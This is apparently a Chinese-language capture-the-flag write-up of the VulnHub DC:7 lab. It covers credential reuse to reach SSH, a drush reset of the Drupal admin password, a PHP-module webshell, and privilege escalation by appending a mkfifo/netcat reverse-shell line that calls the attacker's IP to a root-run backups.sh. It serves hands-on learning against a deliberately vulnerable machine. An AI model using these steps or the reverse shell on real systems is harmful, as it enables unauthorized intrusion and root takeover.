前言
靶机渗透DC:7-vulnhub
靶机IP:192.168.0.106
KALIIP:192.168.0.9
师傅告诉我说,做靶机渗透要把想到的,感觉可行的都去尝试,然后要去把握整体思路,最后不要着急,慢慢来。
渗透过程
扫描端口
这里有个ssh端口,还有一个80端口
ssh端口的话,应该是要获取到一个用户。渗透测试,发散性思维。
80端口先看着
可以想到,前台没有什么可用信息,估计又是通过后台上传shell,然后反弹shell,再做提权处理。
现在的问题就是缺一个能登录后台的账号密码。
在这个页面底下有一个
靶机是有给提示的,就是不要局限于靶机之内,所以google搜一下@DC7USER
这里提供一个mysql的配置文件,我尝试过远程登录mysql,发现不可以的。
然后看看能否有撞库存在,先前的ssh端口
1 | $username = "dc7user"; |
我想它这里提供一个用户是因为能由ssh登录,去重置admin
用户的密码
1 | 运行 drush user-password someuser --password="password" 命令重设用户密码。 |
并且看到html
文件是一个可读可写的文件夹
参考:https://zhidao.baidu.com/question/265508425.html
所以我们可以在这里执行重置admin密码的操作
1 | drush user-password admin --password="123456" |
这样子就可以登录到后台,通过修改模块,或者插件漏洞写入webshell.
接着通过这个账号,找找有没有哪里可以修改模块之类的。
content板块进入
这个basic page是可以修改的
但是是没有php模块的
安装一个php模块
1 | https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz |
可行
然后写入shell,下载地址:pentestmonkey
看到有一封邮件
发现www-data对这个文件有可执行权限.但是它的所有者是root.
通过www-data修改bakups.sh
1 | echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.0.9 7777 >/tmp/f" >> backups.sh |
最后getshell
总结
前言的那段话,再来一遍。多尝试,然后耐心。